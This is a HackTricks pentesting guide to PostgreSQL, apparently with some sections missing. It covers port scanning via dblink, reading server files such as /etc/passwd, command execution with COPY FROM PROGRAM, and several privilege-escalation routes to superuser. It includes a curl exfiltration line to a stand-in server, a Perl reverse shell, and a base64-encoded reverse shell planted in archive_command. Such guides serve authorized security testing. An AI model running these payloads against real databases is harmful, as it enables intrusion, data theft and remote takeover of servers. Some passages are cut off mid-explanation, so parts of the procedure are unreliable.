Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
<summary><strong>Learn AWS hacking from zero to hero with</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
**PostgreSQL** is described as an **object-relational database system** that is **open source**. This system not only utilizes the SQL language but also enhances it with additional features. Its capabilities allow it to handle a wide range of data types and operations, making it a versatile choice for developers and organizations.
According to [**this research**](https://www.exploit-db.com/papers/13084), when a connection attempt fails, `dblink` throws an `sqlclient_unable_to_establish_sqlconnection` exception including an explanation of the error. Examples of these details are listed below.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
```
* Host is down
`DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?`
* Port is closed
```
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
* Port is open
```
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
or
```
DETAIL: FATAL: password authentication failed for user "name"
```
* Port is open or filtered
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
In PL/pgSQL functions, it is currently not possible to obtain exception details. However, if you have direct access to the PostgreSQL server, you can retrieve the necessary information. If extracting usernames and passwords from the system tables is not feasible, you may consider utilizing the wordlist attack method discussed in the preceding section, as it could potentially yield positive results.
| rolinherit | Role automatically inherits privileges of roles it is a member of |
| rolcreaterole | Role can create more roles |
| rolcreatedb | Role can create databases |
| rolcanlogin | Role can log in. That is, this role can be given as the initial session authorization identifier |
| rolreplication | Role is a replication role. A replication role can initiate replication connections and create and drop replication slots. |
| rolconnlimit | For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit. |
| rolpassword | Not the password (always reads as `********`) |
| rolvaliduntil | Password expiry time (only used for password authentication); null if no expiration |
| rolbypassrls | Role bypasses every row-level security policy, see [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) for more information. |
| rolconfig | Role-specific defaults for run-time configuration variables |
From this [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the defined **`DEFAULT_ROLE_READ_SERVER_FILES`** group (called **`pg_read_server_files`**) and **super users** can use the **`COPY`** method on any path (check out `convert_and_check_filename` in `genfile.c`):
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Remember that if you aren't super user but has the **CREATEROLE** permissions you can **make yourself member of that group:**
There are **other postgres functions** that can be used to **read file or list a directory**. Only **superusers** and **users with explicit permissions** can use them:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
You can find **more functions** in [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
If you have the necessary permissions to read and write PostgreSQL server files, you can update any table on the server by **overwriting the associated file node** in [the PostgreSQL data directory](https://www.postgresql.org/docs/8.1/storage.html). **More on this technique** [**here**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
**Note:** If you are unable to retrieve the current data directory path from settings, you can query the major PostgreSQL version through the `SELECT version()` query and try to brute-force the path. Common data directory paths on Unix installations of PostgreSQL are `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. A common cluster name is `main`.
This query should return something like `base/3/1337`. The full path on disk will be `$DATA_DIRECTORY/base/3/1337`, i.e. `/var/lib/postgresql/13/main/base/3/1337`.
5. Use the [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) to [edit the filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); set all `rol*` boolean flags to 1 for full permissions.
You can also become a superadmin by editing the `pg_authid` table. **See** [**the following section**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), only **super users** and member of the group **`pg_execute_server_program`** can use copy for RCE (example with exfiltration:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
Example to exec:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
Remember that if you aren't super user but has the **`CREATEROLE`** permissions you can **make yourself member of that group:**
Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\
More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**.
The **configuration file** of PostgreSQL is **writable** by the **postgres user**, which is the one running the database, so as **superuser**, you can write files in the filesystem, and therefore you can **overwrite this file.**
The configuration file have some interesting attributes that can lead to RCE:
*`ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database
*`ssl_passphrase_command = ''` If the private file is protected by password (encrypted) postgresql will **execute the command indicated in this attribute**.
*`ssl_passphrase_command_supports_reload = off`**If** this attribute is **on** the **command** executed if the key is protected by password **will be executed** when `pg_reload_conf()` is **executed**.
While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** (so the postgres user can read it), and is placed in _/var/lib/postgresql/12/main_.
**More** [**information about this config and about WAL here**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Another attribute in the configuration file that is exploitable is `archive_command`.
For this to work, the `archive_mode` setting has to be `'on'` or `'always'`. If that is true, then we could overwrite the command in `archive_command` and force it to execute via the WAL (write-ahead logging) operations.
1. Check whether archive mode is enabled: `SELECT current_setting('archive_mode')`
2. Overwrite `archive_command` with the payload. For eg, a reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Reload the config: `SELECT pg_reload_conf()`
4. Force the WAL operation to run, which will call the archive command: `SELECT pg_switch_wal()` or `SELECT pg_switch_xlog()` for some Postgres versions
We can set the `dynamic_library_path` value to a directory, writable by the `postgres` user running the database, e.g., `/tmp/` directory, and upload a malicious `.so` object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the `session_preload_libraries` variable.
According to the [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Roles having **`CREATEROLE`** privilege can **grant or revoke membership in any role** that is **not** a **superuser**._
So, if you have **`CREATEROLE`** permission you could grant yourself access to other **roles** (that aren't superuser) that can give you the option to read & write files and execute commands:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### Modify Password
Users with this role can also **change** the **passwords** of other **non-superusers**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc to SUPERUSER
It's pretty common to find that **local users can login in PostgreSQL without providing any password**. Therefore, once you have gathered **permissions to execute code** you can abuse these permissions to gran you **`SUPERUSER`** role:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
This is usually possible because of the following lines in the **`pg_hba.conf`** file:
```bash
# "local" is for Unix domain socket connections only
In [**this writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) is explained how it was possible to **privesc** in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.
When you try to **make another user owner of a table** you should get an **error** preventing it, but apparently GCP gave that **option to the not-superuser postgres user** in GCP:
Joining this idea with the fact that when the **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) commands are executed on a **table with an index function**, the **function** is **called** as part of the command with the **table****owner’s permissions**. It's possible to create an index with a function and give owner permissions to a **super user** over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.
2. Insert some irrelevant content into the table to provide data for the index function.
3. Develop a malicious index function that contains a code execution payload, allowing for unauthorized commands to be executed.
4. ALTER the table's owner to "cloudsqladmin," which is GCP's superuser role exclusively used by Cloud SQL to manage and maintain the database.
5. Perform an ANALYZE operation on the table. This action compels the PostgreSQL engine to switch to the user context of the table's owner, "cloudsqladmin." Consequently, the malicious index function is called with the permissions of "cloudsqladmin," thereby enabling the execution of the previously unauthorized shell command.
If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:
[**In this writeup**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesters were able to privesc inside a postgres instance provided by IBM, because they **found this function with the SECURITY DEFINER flag**:
As [**explained in the docs**](https://www.postgresql.org/docs/current/sql-createfunction.html) a function with **SECURITY DEFINER is executed** with the privileges of the **user that owns it**. Therefore, if the function is **vulnerable to SQL Injection** or is doing some **privileged actions with params controlled by the attacker**, it could be abused to **escalate privileges inside postgres**.
**PL/pgSQL** is a **fully featured programming language** that offers greater procedural control compared to SQL. It enables the use of **loops** and other **control structures** to enhance program logic. In addition, **SQL statements** and **triggers** have the capability to invoke functions that are created using the **PL/pgSQL language**. This integration allows for a more comprehensive and versatile approach to database programming and automation.\
If you can **read and write PostgreSQL server files**, you can **become a superuser** by overwriting the PostgreSQL on-disk filenode, associated with the internal `pg_authid` table.
5. Use the [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) to [edit the filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); set all `rol*` boolean flags to 1 for full permissions.
6. Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk
7._(Optionally)_ Clear the in-memory table cache by running an expensive SQL query
8. You should now have the privileges of a full superadmin.
You can decrypt them using the _**decrypt**_ function inside the script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
Client authentication in PostgreSQL is managed through a configuration file called **pg\_hba.conf**. This file contains a series of records, each specifying a connection type, client IP address range (if applicable), database name, user name, and the authentication method to use for matching connections. The first record that matches the connection type, client address, requested database, and user name is used for authentication. There is no fallback or backup if authentication fails. If no record matches, access is denied.
The available password-based authentication methods in pg\_hba.conf are **md5**, **crypt**, and **password**. These methods differ in how the password is transmitted: MD5-hashed, crypt-encrypted, or clear-text. It's important to note that the crypt method cannot be used with passwords that have been encrypted in pg\_authid.
<summary><strong>Learn AWS hacking from zero to hero with</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\